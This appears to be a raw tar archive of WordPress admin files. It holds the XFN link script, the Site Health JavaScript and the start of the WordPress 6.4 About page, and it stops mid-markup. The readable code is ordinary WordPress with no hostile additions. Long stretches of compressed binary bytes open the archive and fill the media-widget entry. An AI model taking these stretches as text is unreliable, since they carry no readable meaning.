��ٺ@�$��M.Y�m�^���鄹��Ra�P��W���d5u��d����U��[�wq�`��e��>	R���l�K��,�0g��АKNa�:;��n�f˚��Fx�MXF8&΁����v��v��Ȭ/2Q���!X��1��=^��
m��@�!�.F���X��kh����_�wh�!���e�]7�s�@+^ek�H��`)d�Dv�qW�h~��%0�4��ht*�3��΍\u�ˤ�8��X�
p�i=��dÐj��*n@!����#/#u���b����,@!�>k�
�u�I$��6PB�Ϣ���U;���ҫ����K�-xYb|T���A�����<@��"C�+N��}9���5d���!p1�|"dZ	J[�����#�;冶�NPa�
F�
A�P�^�<q4/Z�Teﳏ� 0�]Wq�bM��H��n3s)]��h�e�]��u�N+����FI�Ƃz���_�����Ih����7���7��v�A���)��e
�@4e�����
1v�*����d�Ӹ�M�6���g��q�K���$�i�]2�6�ؙ)�qb,��F����v�}D>��y�4��8��Q`X�l�6O����>'�ԛ{0�c�3�|шuͻ3��t� /�:::�b��
OFƲr�:�^�y���'��BV���8�x�i��"@M9O�{�Ћ� Z�N��	 �hd{���Z�Ό�;#���):��_�R�<y�$�;�:��F�f{�!Bm�e�
8���$7Ԡe��^���N�l��v�"&���qH��>Xd��<�7}�O�鵕J0ֽ�ʺ��?�bĠB�"g_L`I����)p7F�\�����T��-�!O��LqC/�>i�D�L�f�'����3��]���>M�&TSy4GԠcj�
G���Z�������X!�X�x.`�Y�^8
M8���]�=�;����6-78��ẃ�z-pn�uh�m��=#����Ow�E9:�-Ms��9U���H��@倠�eU�o�l��y�5�O0$	\���Dla�y�c��!{3
#D��gIj��ׄ��x�y��?^w�˪֧�����bKg>���"�KYMH�l��k�Ӹ&J-K�D���/�n=U5�﫲,�rU�7M`BqQTw��/���w��*�'�a�I|Wgk�PɛG4�I��$��'�Ԙ6�f���Yf��=@c�!0����m��8����Qb��l�Ƶ�-d�)��%�]�r@��p���a+������Ig��mu�aЧ������p�t�tx"���9˯7Rp����z���y*Q�*�]ܔ�z��m�1��w/O��e���]Y�jS�0
ފ��UVh9�Р���2�G_e���c�Z�5�ت�Q^~[��ҕ�RV�� 	�ְ�r�Y�U�+)�
P���8a`�2�)�f��[���J�]����R����jˬ�b�e�y쇇��M��P*WU��\غ��`�����?$����4��8Lo�K��~o�b;J���X{{�m� �j1�1�}!�;�䀥�������_=�}j�)
9��&�Wb�)�nt1����M��:G�Y�y��f^G��GUnP�8�XֳOA�Fz7�5_W�DlM��^��@�Ȥ��l )�1�-�
mJ�CIw��HS?psW7���z�[�i��5�ީ���)�O��4��l��#
���&�6)t��?g����,��:%\!]s�d'�R��T�vp`�,K�{�PZl5�nE�m�:W���}//w>��\��6��_xe����s�����)V��w(��p
'��/x|v��-�g���s�9?��/����0��g��?mZ�(|+�uP�����B�9�c�Y�<6\��>�)�?n#A��&���{=�ѶAEޢ��l2'�˪���T�d+��i�G�vÚ;���m;]pC�VXZn�տ����0R�y(����ۨؾ���@^�)Ή�j�a�+6�g��k��Ɛ�׺��A��m/'0�:�\�:�)@)�L ��q͵_�T�\O;�ۑC��!C/�H�P�-�"��YO�����~E��h�9��X�Lc���@�R�t7����)B��5VX)y��؋�i�gc�Z��шD�����Ğ��Y�I+�O�e�
�x��W�N�7@�ZB�?B��k«��"<Ŝ�O��vN۪�(���pkD\/]��J���s���Sf��L�/C�ht����u~@��ET�m.�L����t�n�O�p�,h`�6
���e�at}݅}�0�w��jV��5����2
����aY��j�O�U$�u�3|��Z�2�N�e_t�z��qgh�Pg�Ous7��.������5F�K��br��j��*��Ķ3]�{�w΄9�d��Sk��*��y���V��+3��1XTx���>��V��c���6�3�4��nS.�0Wd"þ׬y�R�p=�/�R{Eۗ]*X�]�X�]�~���a�rk�����k�}��rgS���X�p~���ޕ<��0,�$�;��I�n��mD���\����JŻ�ADŽ:	�_=F���c]�,�a�u�SeP=��{�k�;��x���5�t�����D���<��!/���H����>9����U�*{(X�Ý��6�Qe�u>2��P�m�J)=�0��N��g#�T��H��(�0���Xi����G!���6��.M�
���ݹ���ܱ�)�:����h,a)�\UU�!?��Ht!_Nf2�$��!\����^�)��GV{����h)(
p>Ұ��7iB8O��Җ1�`0�lPai����yP`/[L̔��5�X}�c��H�`��Ө���a����h��!j�1t`u�z��˩~,��$�('�p�S��:��|x<��6(i-7�՗����!�����:%:��`N�L�B��4��N����S��`D�r�@@D��X�x��2�œl4�Ӱ��t���MR�!�0B���m�;�x�$�/�L�ee����WU����λ�v�\ܓT�}Y�G7�O��4Je{��5��l��BUr7聯�)�y�\��tzA،F���uC��S��SC�{
]�miדfN/1�ɋ��o�fI&/����aov�D�r���J�'��=�� n���ň{& +!II���DWV�u���4v`�:��>?-d��>G�\U ?"I�U_%�,�Zڼ���yMw:}U��a���(�:t�r���j��i�k]�g/&���ǧ;
l�:k�ɧk�����7	��LO���S�8�S�T�ؽ*lS�"?n�i@�݊dzӈ���d.8�g�HV�"����'�m�3�|�K0��-�xc�G��_{�:��T�b&��D,%T܈�6���Z���J�x�\c�k8$�֪�X��$�Z�^~�'�6���l_?vЈ^v9�"N�^�63��3ƴYv�t�����?�b���K[<��3Cq��h��d�^��Թ�!�]g�:�h���
���%�����?��/�L�YLxfn.min.js000064400000000712150276633110006463 0ustar00/*! This file is auto-generated */
jQuery(function(l){l("#link_rel").prop("readonly",!0),l("#linkxfndiv input").on("click keyup",function(){var e=l("#me").is(":checked"),i="";l("input.valinp").each(function(){e?l(this).prop("disabled",!0).parent().addClass("disabled"):(l(this).removeAttr("disabled").parent().removeClass("disabled"),l(this).is(":checked")&&""!==l(this).val()&&(i+=l(this).val()+" "))}),l("#link_rel").val(e?"me":i.substr(0,i.length-1))})});media-audio-widget.min.js.min.js.tar.gz000064400000001443150276633110013732 0ustar00��U�O�0�yE���F�[)Uh�>�@��4!_��G�e���촥EtO�6M�C��|��sf��a%Qcհp�Qz�8P���p^�*u5��ùV7�~X��r ���	B�[��EF$G����I��w�_��G��O����G��h���)
�(䟈��po7��i�L����e�vp8������iS�mŐ�i�!��t��t���kGB|�0���k'K'aD��6^�7�J��F�_ ��|噷HI�B*�>U0OV�[��ƀ����h�����l���[}�c-�Ր�q��L+zTj1��6��4��0�o�g�G����."�2�2��\K����9��j����%���U`V|�]m�O��V?��3�k#�.QW7��g����K{ߒsg�5ց����Y��"�Ս(�1,T�;��U	��/��kPi]�(Gp�}�
�C�M��Pb�$X*e1#��J��gr��8��1S?~H�����m�����xq3
�>pX�N"��K�f��-��+1��0���v#����zW��9�6�Q���l9W` ��Ҩ��߁qN����C����m�
[E����{rH������j���-��ߪ0�(�D�CG<�6 �(٦9?5�`�:���C�‚K�B�e�,���r��JS��,���*
ƾH���]"�T���pA��MM�6��9�i(�o���-�AS��}�J�Ō�.�j -���-ݒM��-��*��e�[Э�����L<ɓ<�(?l���site-health.js000064400000032432150276633110007321 0ustar00/**
 * Interactions used by the Site Health modules in WordPress.
 *
 * @output wp-admin/js/site-health.js
 */

/* global ajaxurl, ClipboardJS, SiteHealth, wp */

jQuery( function( $ ) {

	var __ = wp.i18n.__,
		_n = wp.i18n._n,
		sprintf = wp.i18n.sprintf,
		clipboard = new ClipboardJS( '.site-health-copy-buttons .copy-button' ),
		isStatusTab = $( '.health-check-body.health-check-status-tab' ).length,
		isDebugTab = $( '.health-check-body.health-check-debug-tab' ).length,
		pathsSizesSection = $( '#health-check-accordion-block-wp-paths-sizes' ),
		menuCounterWrapper = $( '#adminmenu .site-health-counter' ),
		menuCounter = $( '#adminmenu .site-health-counter .count' ),
		successTimeout;

	// Debug information copy section.
	clipboard.on( 'success', function( e ) {
		var triggerElement = $( e.trigger ),
			successElement = $( '.success', triggerElement.closest( 'div' ) );

		// Clear the selection and move focus back to the trigger.
		e.clearSelection();
		// Handle ClipboardJS focus bug, see https://github.com/zenorocha/clipboard.js/issues/680
		triggerElement.trigger( 'focus' );

		// Show success visual feedback.
		clearTimeout( successTimeout );
		successElement.removeClass( 'hidden' );

		// Hide success visual feedback after 3 seconds since last success.
		successTimeout = setTimeout( function() {
			successElement.addClass( 'hidden' );
		}, 3000 );

		// Handle success audible feedback.
		wp.a11y.speak( __( 'Site information has been copied to your clipboard.' ) );
	} );

	// Accordion handling in various areas.
	$( '.health-check-accordion' ).on( 'click', '.health-check-accordion-trigger', function() {
		var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) );

		if ( isExpanded ) {
			$( this ).attr( 'aria-expanded', 'false' );
			$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true );
		} else {
			$( this ).attr( 'aria-expanded', 'true' );
			$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false );
		}
	} );

	// Site Health test handling.

	$( '.site-health-view-passed' ).on( 'click', function() {
		var goodIssuesWrapper = $( '#health-check-issues-good' );

		goodIssuesWrapper.toggleClass( 'hidden' );
		$( this ).attr( 'aria-expanded', ! goodIssuesWrapper.hasClass( 'hidden' ) );
	} );

	/**
	 * Validates the Site Health test result format.
	 *
	 * @since 5.6.0
	 *
	 * @param {Object} issue
	 *
	 * @return {boolean}
	 */
	function validateIssueData( issue ) {
		// Expected minimum format of a valid SiteHealth test response.
		var minimumExpected = {
				test: 'string',
				label: 'string',
				description: 'string'
			},
			passed = true,
			key, value, subKey, subValue;

		// If the issue passed is not an object, return a `false` state early.
		if ( 'object' !== typeof( issue ) ) {
			return false;
		}

		// Loop over expected data and match the data types.
		for ( key in minimumExpected ) {
			value = minimumExpected[ key ];

			if ( 'object' === typeof( value ) ) {
				for ( subKey in value ) {
					subValue = value[ subKey ];

					if ( 'undefined' === typeof( issue[ key ] ) ||
						'undefined' === typeof( issue[ key ][ subKey ] ) ||
						subValue !== typeof( issue[ key ][ subKey ] )
					) {
						passed = false;
					}
				}
			} else {
				if ( 'undefined' === typeof( issue[ key ] ) ||
					value !== typeof( issue[ key ] )
				) {
					passed = false;
				}
			}
		}

		return passed;
	}

	/**
	 * Appends a new issue to the issue list.
	 *
	 * @since 5.2.0
	 *
	 * @param {Object} issue The issue data.
	 */
	function appendIssue( issue ) {
		var template = wp.template( 'health-check-issue' ),
			issueWrapper = $( '#health-check-issues-' + issue.status ),
			heading,
			count;

		/*
		 * Validate the issue data format before using it.
		 * If the output is invalid, discard it.
		 */
		if ( ! validateIssueData( issue ) ) {
			return false;
		}

		SiteHealth.site_status.issues[ issue.status ]++;

		count = SiteHealth.site_status.issues[ issue.status ];

		// If no test name is supplied, append a placeholder for markup references.
		if ( typeof issue.test === 'undefined' ) {
			issue.test = issue.status + count;
		}

		if ( 'critical' === issue.status ) {
			heading = sprintf(
				_n( '%s critical issue', '%s critical issues', count ),
				'<span class="issue-count">' + count + '</span>'
			);
		} else if ( 'recommended' === issue.status ) {
			heading = sprintf(
				_n( '%s recommended improvement', '%s recommended improvements', count ),
				'<span class="issue-count">' + count + '</span>'
			);
		} else if ( 'good' === issue.status ) {
			heading = sprintf(
				_n( '%s item with no issues detected', '%s items with no issues detected', count ),
				'<span class="issue-count">' + count + '</span>'
			);
		}

		if ( heading ) {
			$( '.site-health-issue-count-title', issueWrapper ).html( heading );
		}

		menuCounter.text( SiteHealth.site_status.issues.critical );

		if ( 0 < parseInt( SiteHealth.site_status.issues.critical, 0 ) ) {
			$( '#health-check-issues-critical' ).removeClass( 'hidden' );

			menuCounterWrapper.removeClass( 'count-0' );
		} else {
			menuCounterWrapper.addClass( 'count-0' );
		}
		if ( 0 < parseInt( SiteHealth.site_status.issues.recommended, 0 ) ) {
			$( '#health-check-issues-recommended' ).removeClass( 'hidden' );
		}

		$( '.issues', '#health-check-issues-' + issue.status ).append( template( issue ) );
	}

	/**
	 * Updates site health status indicator as asynchronous tests are run and returned.
	 *
	 * @since 5.2.0
	 */
	function recalculateProgression() {
		var r, c, pct;
		var $progress = $( '.site-health-progress' );
		var $wrapper = $progress.closest( '.site-health-progress-wrapper' );
		var $progressLabel = $( '.site-health-progress-label', $wrapper );
		var $circle = $( '.site-health-progress svg #bar' );
		var totalTests = parseInt( SiteHealth.site_status.issues.good, 0 ) +
			parseInt( SiteHealth.site_status.issues.recommended, 0 ) +
			( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 );
		var failedTests = ( parseInt( SiteHealth.site_status.issues.recommended, 0 ) * 0.5 ) +
			( parseInt( SiteHealth.site_status.issues.critical, 0 ) * 1.5 );
		var val = 100 - Math.ceil( ( failedTests / totalTests ) * 100 );

		if ( 0 === totalTests ) {
			$progress.addClass( 'hidden' );
			return;
		}

		$wrapper.removeClass( 'loading' );

		r = $circle.attr( 'r' );
		c = Math.PI * ( r * 2 );

		if ( 0 > val ) {
			val = 0;
		}
		if ( 100 < val ) {
			val = 100;
		}

		pct = ( ( 100 - val ) / 100 ) * c + 'px';

		$circle.css( { strokeDashoffset: pct } );

		if ( 80 <= val && 0 === parseInt( SiteHealth.site_status.issues.critical, 0 ) ) {
			$wrapper.addClass( 'green' ).removeClass( 'orange' );

			$progressLabel.text( __( 'Good' ) );
			announceTestsProgression( 'good' );
		} else {
			$wrapper.addClass( 'orange' ).removeClass( 'green' );

			$progressLabel.text( __( 'Should be improved' ) );
			announceTestsProgression( 'improvable' );
		}

		if ( isStatusTab ) {
			$.post(
				ajaxurl,
				{
					'action': 'health-check-site-status-result',
					'_wpnonce': SiteHealth.nonce.site_status_result,
					'counts': SiteHealth.site_status.issues
				}
			);

			if ( 100 === val ) {
				$( '.site-status-all-clear' ).removeClass( 'hide' );
				$( '.site-status-has-issues' ).addClass( 'hide' );
			}
		}
	}

	/**
	 * Queues the next asynchronous test when we're ready to run it.
	 *
	 * @since 5.2.0
	 */
	function maybeRunNextAsyncTest() {
		var doCalculation = true;

		if ( 1 <= SiteHealth.site_status.async.length ) {
			$.each( SiteHealth.site_status.async, function() {
				var data = {
					'action': 'health-check-' + this.test.replace( '_', '-' ),
					'_wpnonce': SiteHealth.nonce.site_status
				};

				if ( this.completed ) {
					return true;
				}

				doCalculation = false;

				this.completed = true;

				if ( 'undefined' !== typeof( this.has_rest ) && this.has_rest ) {
					wp.apiRequest( {
						url: wp.url.addQueryArgs( this.test, { _locale: 'user' } ),
						headers: this.headers
					} )
						.done( function( response ) {
							/** This filter is documented in wp-admin/includes/class-wp-site-health.php */
							appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response ) );
						} )
						.fail( function( response ) {
							var description;

							if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) {
								description = response.responseJSON.message;
							} else {
								description = __( 'No details available' );
							}

							addFailedSiteHealthCheckNotice( this.url, description );
						} )
						.always( function() {
							maybeRunNextAsyncTest();
						} );
				} else {
					$.post(
						ajaxurl,
						data
					).done( function( response ) {
						/** This filter is documented in wp-admin/includes/class-wp-site-health.php */
						appendIssue( wp.hooks.applyFilters( 'site_status_test_result', response.data ) );
					} ).fail( function( response ) {
						var description;

						if ( 'undefined' !== typeof( response.responseJSON ) && 'undefined' !== typeof( response.responseJSON.message ) ) {
							description = response.responseJSON.message;
						} else {
							description = __( 'No details available' );
						}

						addFailedSiteHealthCheckNotice( this.url, description );
					} ).always( function() {
						maybeRunNextAsyncTest();
					} );
				}

				return false;
			} );
		}

		if ( doCalculation ) {
			recalculateProgression();
		}
	}

	/**
	 * Add the details of a failed asynchronous test to the list of test results.
	 *
	 * @since 5.6.0
	 */
	function addFailedSiteHealthCheckNotice( url, description ) {
		var issue;

		issue = {
			'status': 'recommended',
			'label': __( 'A test is unavailable' ),
			'badge': {
				'color': 'red',
				'label': __( 'Unavailable' )
			},
			'description': '<p>' + url + '</p><p>' + description + '</p>',
			'actions': ''
		};

		/** This filter is documented in wp-admin/includes/class-wp-site-health.php */
		appendIssue( wp.hooks.applyFilters( 'site_status_test_result', issue ) );
	}

	if ( 'undefined' !== typeof SiteHealth ) {
		if ( 0 === SiteHealth.site_status.direct.length && 0 === SiteHealth.site_status.async.length ) {
			recalculateProgression();
		} else {
			SiteHealth.site_status.issues = {
				'good': 0,
				'recommended': 0,
				'critical': 0
			};
		}

		if ( 0 < SiteHealth.site_status.direct.length ) {
			$.each( SiteHealth.site_status.direct, function() {
				appendIssue( this );
			} );
		}

		if ( 0 < SiteHealth.site_status.async.length ) {
			maybeRunNextAsyncTest();
		} else {
			recalculateProgression();
		}
	}

	function getDirectorySizes() {
		var timestamp = ( new Date().getTime() );

		// After 3 seconds announce that we're still waiting for directory sizes.
		var timeout = window.setTimeout( function() {
			announceTestsProgression( 'waiting-for-directory-sizes' );
		}, 3000 );

		wp.apiRequest( {
			path: '/wp-site-health/v1/directory-sizes'
		} ).done( function( response ) {
			updateDirSizes( response || {} );
		} ).always( function() {
			var delay = ( new Date().getTime() ) - timestamp;

			$( '.health-check-wp-paths-sizes.spinner' ).css( 'visibility', 'hidden' );

			if ( delay > 3000 ) {
				/*
				 * We have announced that we're waiting.
				 * Announce that we're ready after giving at least 3 seconds
				 * for the first announcement to be read out, or the two may collide.
				 */
				if ( delay > 6000 ) {
					delay = 0;
				} else {
					delay = 6500 - delay;
				}

				window.setTimeout( function() {
					recalculateProgression();
				}, delay );
			} else {
				// Cancel the announcement.
				window.clearTimeout( timeout );
			}

			$( document ).trigger( 'site-health-info-dirsizes-done' );
		} );
	}

	function updateDirSizes( data ) {
		var copyButton = $( 'button.button.copy-button' );
		var clipboardText = copyButton.attr( 'data-clipboard-text' );

		$.each( data, function( name, value ) {
			var text = value.debug || value.size;

			if ( typeof text !== 'undefined' ) {
				clipboardText = clipboardText.replace( name + ': loading...', name + ': ' + text );
			}
		} );

		copyButton.attr( 'data-clipboard-text', clipboardText );

		pathsSizesSection.find( 'td[class]' ).each( function( i, element ) {
			var td = $( element );
			var name = td.attr( 'class' );

			if ( data.hasOwnProperty( name ) && data[ name ].size ) {
				td.text( data[ name ].size );
			}
		} );
	}

	if ( isDebugTab ) {
		if ( pathsSizesSection.length ) {
			getDirectorySizes();
		} else {
			recalculateProgression();
		}
	}

	// Trigger a class toggle when the extended menu button is clicked.
	$( '.health-check-offscreen-nav-wrapper' ).on( 'click', function() {
		$( this ).toggleClass( 'visible' );
	} );

	/**
	 * Announces to assistive technologies the tests progression status.
	 *
	 * @since 6.4.0
	 *
	 * @param {string} type The type of message to be announced.
	 *
	 * @return {void}
	 */
	function announceTestsProgression( type ) {
		// Only announce the messages in the Site Health pages.
		if ( 'site-health' !== SiteHealth.screen ) {
			return;
		}

		switch ( type ) {
			case 'good':
				wp.a11y.speak( __( 'All site health tests have finished running. Your site is looking good.' ) );
				break;
			case 'improvable':
				wp.a11y.speak( __( 'All site health tests have finished running. There are items that should be addressed.' ) );
				break;
			case 'waiting-for-directory-sizes':
				wp.a11y.speak( __( 'Running additional tests... please wait.' ) );
				break;
			default:
				return;
		}
	}
} );
about.php.tar000064400000055000150276633110007160 0ustar00home/natitnen/crestassured.com/wp-admin/about.php000064400000051344150271716610016154 0ustar00<?php
/**
 * About This Version administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

// Used in the HTML title tag.
/* translators: Page title of the About WordPress page in the admin. */
$title = _x( 'About', 'page title' );

list( $display_version ) = explode( '-', get_bloginfo( 'version' ) );

require_once ABSPATH . 'wp-admin/admin-header.php';
?>
	<div class="wrap about__container">

		<div class="about__header">
			<div class="about__header-title">
				<h1>
					<?php
					printf(
						/* translators: %s: Version number. */
						__( 'WordPress %s' ),
						$display_version
					);
					?>
				</h1>
			</div>

			<div class="about__header-text"></div>
		</div>

		<nav class="about__header-navigation nav-tab-wrapper wp-clearfix" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
			<a href="about.php" class="nav-tab nav-tab-active" aria-current="page"><?php _e( 'What&#8217;s New' ); ?></a>
			<a href="credits.php" class="nav-tab"><?php _e( 'Credits' ); ?></a>
			<a href="freedoms.php" class="nav-tab"><?php _e( 'Freedoms' ); ?></a>
			<a href="privacy.php" class="nav-tab"><?php _e( 'Privacy' ); ?></a>
			<a href="contribute.php" class="nav-tab"><?php _e( 'Get Involved' ); ?></a>
		</nav>

		<div class="about__section changelog has-subtle-background-color">
			<div class="column">
				<h2><?php _e( 'Maintenance and Security Releases' ); ?></h2>
				<p>
					<?php
					printf(
						__( '<strong>Version %s</strong> addressed some security issues.' ),
						'6.4.5'
					);
					?>
					<?php
					printf(
						/* translators: %s: HelpHub URL. */
						__( 'For more information, see <a href="%s">the release notes</a>.' ),
						sprintf(
							/* translators: %s: WordPress version. */
							esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
							sanitize_title( '6.4.5' )
						)
					);
					?>
				</p>

				<p>
					<?php
					printf(
						/* translators: 1: WordPress version number, 2: Plural number of bugs. */
						_n(
							'<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bug.',
							'<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bugs.',
							12
						),
						'6.4.4',
						'12'
					);
					?>
					<?php
					printf(
						/* translators: %s: HelpHub URL. */
						__( 'For more information, see <a href="%s">the release notes</a>.' ),
						sprintf(
							/* translators: %s: WordPress version. */
							esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
							sanitize_title( '6.4.4' )
						)
					);
					?>
				</p>

				<p>
					<?php
					printf(
						/* translators: 1: WordPress version number, 2: Plural number of bugs. */
						_n(
							'<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bug.',
							'<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bugs.',
							21
						),
						'6.4.3',
						'21'
					);
					?>
					<?php
					printf(
						/* translators: %s: HelpHub URL. */
						__( 'For more information, see <a href="%s">the release notes</a>.' ),
						sprintf(
							/* translators: %s: WordPress version. */
							esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
							sanitize_title( '6.4.3' )
						)
					);
					?>
				</p>

				<p>
					<?php
					printf(
						/* translators: 1: WordPress version number, 2: Plural number of bugs. */
						_n(
							'<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bug.',
							'<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bugs.',
							7
						),
						'6.4.2',
						'7'
					);
					?>
					<?php
					printf(
						/* translators: %s: HelpHub URL. */
						__( 'For more information, see <a href="%s">the release notes</a>.' ),
						sprintf(
							/* translators: %s: WordPress version. */
							esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
							sanitize_title( '6.4.2' )
						)
					);
					?>
				</p>

				<p>
					<?php
					printf(
						/* translators: 1: WordPress version number, 2: Plural number of bugs. */
						_n(
							'<strong>Version %1$s</strong> addressed %2$s bug.',
							'<strong>Version %1$s</strong> addressed %2$s bugs.',
							4
						),
						'6.4.1',
						'4'
					);
					?>
					<?php
					printf(
						/* translators: %s: HelpHub URL. */
						__( 'For more information, see <a href="%s">the release notes</a>.' ),
						sprintf(
							/* translators: %s: WordPress version. */
							esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
							sanitize_title( '6.4.1' )
						)
					);
					?>
				</p>
			</div>
		</div>

		<div class="about__section">
			<div class="column">
				<h2 class="aligncenter">
					<?php
					printf(
						/* translators: %s: Version number. */
						__( 'Welcome to WordPress %s' ),
						$display_version
					);
					?>
				</h2>
				<p class="is-subheading">
					<?php _e( 'Every version of WordPress empowers your creative freedom, and WordPress 6.4 is no different. New features and upgrades to your site editing, design, and writing experience allow your ideas to take shape seamlessly. Elevate your site-building journey with the flexibility and power of WordPress 6.4.' ); ?>
				</p>
			</div>
		</div>

		<div class="about__section has-2-columns has-accent-4-background-color is-wider-right">
			<div class="column is-vertically-aligned-center">
				<h3><?php _e( 'Say hello to<br>Twenty Twenty-Four' ); ?></h3>
				<p>
					<?php
					printf(
						/* translators: %s: Introduction to Twenty Twenty-Four link. */
						__( 'Experience the latest advancements in site editing with <a href="%s">Twenty Twenty-Four</a>. Built with three distinct use cases in mind, the versatility of the new default theme makes it an ideal choice for almost any type of website. Dive into its collection of templates and patterns and unlock a world of creative possibilities with just a few tweaks.' ),
						__( 'https://make.wordpress.org/core/2023/08/24/introducing-twenty-twenty-four/' )
					);
					?>
				</p>
			</div>
			<div class="column is-vertically-aligned-bottom is-edge-to-edge">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.4/1-Twenty-Twenty-Four.webp" alt="" height="600" width="600" />
				</div>
			</div>
		</div>

		<div class="about__section has-3-columns">
			<div class="column">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.4/2-image-lightbox.webp" alt="" height="270" width="270" />
				</div>
				<h3 class="is-smaller-heading" style="margin-bottom:calc(var(--gap) / 4);"><?php _e( 'Add a lightbox effect to images' ); ?></h3>
				<p><?php _e( 'Turn lightbox functionality on for interactive, full-screen images with a simple click. Apply it globally or to specific images to customize the viewing experience.' ); ?></p>
			</div>
			<div class="column">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.4/3-categorize-patterns.webp" alt="" height="270" width="270" />
				</div>
				<h3 class="is-smaller-heading" style="margin-bottom:calc(var(--gap) / 4);"><?php _e( 'Categorize and filter patterns' ); ?></h3>
				<p><?php _e( 'Organize your synced and unsynced patterns with categories. Explore advanced filtering in the Patterns section of the inserter to find them all more intuitively.' ); ?></p>
			</div>
			<div class="column">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.4/4-command-palette.webp" alt="" height="270" width="270" />
				</div>
				<h3 class="is-smaller-heading" style="margin-bottom:calc(var(--gap) / 4);"><?php _e( 'Get more done with the Command Palette' ); ?></h3>
				<p>
					<?php
					printf(
						/* translators: %s: Command palette improvement link. */
						__( 'Enjoy <a href="%s">a refreshed design and more commands</a> to find what you\'re looking for, perform tasks efficiently, and save time as you create.' ),
						__( 'https://make.wordpress.org/core/2023/09/12/core-editor-improvement-commanding-the-command-palette/' )
					);
					?>
				</p>
			</div>
		</div>

		<div class="about__section has-3-columns">
			<div class="column">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.4/5-renaming-groups.webp" alt="" height="270" width="270" />
				</div>
				<h3 class="is-smaller-heading" style="margin-bottom:calc(var(--gap) / 4);"><?php _e( 'Rename Group blocks' ); ?></h3>
				<p><?php _e( 'Set custom names for Group blocks to easily organize and differentiate parts of your content. These names will be visible in List View.' ); ?></p>
			</div>
			<div class="column">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.4/6-image-preview.webp" alt="" height="270" width="270" />
				</div>
				<h3 class="is-smaller-heading" style="margin-bottom:calc(var(--gap) / 4);"><?php _e( 'Image previews in List View' ); ?></h3>
				<p><?php _e( 'New media previews for Gallery and Image blocks in List View let you visualize and locate at a glance where images on your content are.' ); ?></p>
			</div>
			<div class="column">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.4/7-import-export-patterns.webp" alt="" height="270" width="270" />
				</div>
				<h3 class="is-smaller-heading" style="margin-bottom:calc(var(--gap) / 4);"><?php _e( 'Share patterns across sites' ); ?></h3>
				<p><?php _e( 'Need to use your custom patterns on another site? It\'s simple! Import and export them as JSON files from the Site Editor\'s patterns view.' ); ?></p>
			</div>
		</div>

		<div class="about__section has-2-columns has-subtle-background-color is-wider-left">
			<div class="column is-vertically-aligned-center">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.4/8-captured-toolbar.webp" alt="" height="434" width="536" />
				</div>
			</div>
			<div class="column is-vertically-aligned-center">
				<h3><?php _e( 'Enjoy new writing improvements' ); ?></h3>
				<p>
					<?php
					printf(
						/* translators: %s: New enhancements link. */
						__( '<a href="%s">New enhancements</a> ensure your content creation journey is smooth. Find new keyboard shortcuts in List View, refined list merging, and enhanced control over link settings. A revamped and cohesive toolbar experience for Navigation, List, and Quote blocks lets you efficiently work with the tooling options you need.' ),
						__( 'https://make.wordpress.org/core/2023/10/05/core-editor-improvement-ensuring-excellence-in-the-writing-experience/' )
					);
					?>
				</p>
			</div>
		</div>

		<div class="about__section has-2-columns">
			<div class="column is-vertically-aligned-center">
				<h3><?php _e( 'Build your creative vision with more design tools' ); ?></h3>
				<p><?php _e( 'Get creative with new background images in Group blocks and ensure consistent image dimensions with placeholder aspect ratios. Do you want to add buttons to your Navigation block? You can now do it conveniently without custom CSS. If you\'re working with synced patterns, alignment settings stay intact for a seamless pattern creation experience.' ); ?></p>
			</div>
			<div class="column is-vertically-aligned-center">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.4/9-design-tools.webp" alt="" height="355" width="436" />
				</div>
			</div>
		</div>

		<div class="about__section has-2-columns">
			<div class="column is-vertically-aligned-center">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.4/10-block-hooks.webp" alt="" height="436" width="436" />
				</div>
			</div>
			<div class="column is-vertically-aligned-center">
				<h3><?php _e( 'Introducing Block Hooks' ); ?></h3>
				<p><?php _e( 'Block Hooks is a new powerful feature that enables plugins to auto-insert blocks into content relative to another block. Think of it as recommendations to make your work with blocks more intuitive. A new "Plugins" panel gives you complete control to match them to your needs—add, dismiss, and rearrange Block Hooks as desired.' ); ?></p>
			</div>
		</div>

		<div class="about__section has-2-columns">
			<div class="column">
				<div class="about__image">
					<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
						<rect width="48" height="48" rx="4" fill="#CFCABE"/>
						<path d="M25.7781 16.8569L25.8 22.8573L28.9984 22.8572C29.805 22.8572 30.2796 23.6339 29.8204 24.2024L23.8213 31.6292C23.2633 32.3201 22.2013 31.9819 22.2013 31.1416L22.2 25.1481H19.0016C18.1961 25.1481 17.7212 24.3733 18.1782 23.8047L24.1496 16.3722C24.7055 15.6804 25.7749 16.0169 25.7781 16.8569Z" fill="#151515"/>
					</svg>
				</div>
